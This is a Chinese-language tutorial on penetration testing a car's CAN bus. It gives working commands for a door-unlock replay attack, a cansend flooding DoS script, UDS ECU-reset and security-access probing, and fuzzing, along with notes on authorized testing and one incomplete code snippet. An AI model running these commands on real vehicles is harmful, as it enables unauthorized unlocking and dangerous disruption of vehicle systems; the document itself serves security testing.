汽车CAN总线-03 测试方法演示
字数 982 2025-08-18 11:36:53
汽车CAN总线测试方法详解
免责声明
本文涉及到的所有技术仅用来学习交流,严禁用于非法用途,未经授权请勿非法渗透。否则产生的一切后果自行承担!一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!
环境搭建
1. canutils安装
在Kali Linux系统中执行以下命令安装can-utils工具包:
apt install can-utils
验证安装是否成功:
candump -h
如果显示帮助信息则证明安装成功。
2. Caringcaribou安装
安装步骤:
- 下载Caringcaribou到本地目录
- 执行以下命令:
cd caringcaribou
python3 setup.py install
# 安装python can库
pip3 install python-can
测试方法演示
1. 重放攻击
步骤详解:
- 使用candump监听CAN总线数据(需物理接入车辆CAN网络):
candump can0 -l
- 触发目标操作(如按动车钥匙中的开锁按钮)
- 停止抓包并对抓取的数据进行处理:
cat candump.log | awk '{print $3}' > res.txt
- 使用Caringcaribou工具进行重放攻击:
cc.py fuzzer identify res.txt
- 根据汽车反应选择y/n,识别开关车门数据包
- 对确认的数据包进行重放:
cansend can0 100#3d157d40d9000560
2. DoS攻击
(1) 过载DoS攻击
可使用CANoe工具实现,示例代码:
variables
(2) 优先级DoS攻击
编写shell脚本向CAN总线发送大量垃圾数据:
- 创建脚本文件:
vim dos.sh
- 写入内容:
#!/bin/bash
for i in {1..10000}
do
cansend can0 123#1122334455667788
done
- 运行脚本:
chmod +x dos.sh
./dos.sh
3. UDS探测
步骤:
- 通过OBD接口连接车辆CAN总线并抓包:
candump can0
-
如果未获取数据,说明网关对CAN总线和OBD接口进行了隔离
-
发送UDS诊断请求验证CAN总线工作状态
方法一:UDS服务扫描
- 探测支持的服务ID:
cc.py uds discovery
- 探测特定服务:
cc.py uds services src ds
cc.py uds services 0x607 0x608
- 尝试重置ECU、读取DID等操作:
cc.py uds dump_dids 0x607 0x608
- 切换至扩展会话模式:
cansend can0 607#0210030000000000
- 发送重置ECU请求(注意:行驶中测试可能造成危险):
cc.py uds ecu_reset 2 clientid serverid
- 27服务安全性测试:
# 切换至编程模式
cansend can0 607#0210020000000000
# 请求安全种子
cansend can0 607#0227010000000000
方法二:使用Caringcaribou auto模块
自动化探测UDS主要攻击面:
cc.py uds auto
27服务安全性深度测试:
cc.py uds_fuzz seed_randomness_fuzzer 100311022701 0x733 0x633
4. 模糊测试
步骤:
- 监听CAN总线:
candump can0 -l
- 发送随机消息:
cc.py fuzzer random
- 观察车辆异常现象,如出现异常则停止监听并处理数据:
cat candump.log | awk '{print $3}' > res.txt
- 使用Caringcaribou识别问题数据包:
cc.py fuzzer identify res.txt
工具改进方向
当前Caringcaribou工具存在以下不足:
- 缺少扩展帧的UDS检测功能
- 部分自动化功能有待完善
二次开发计划:
- 增加扩展帧UDS检测模块
- 增强自动化探测能力
注意事项
- 所有测试应在授权环境下进行
- 行驶中测试ECU重置等操作极其危险
- 测试前应充分了解目标系统,避免造成不可逆损害
- 注意记录测试过程和结果,便于问题分析和复现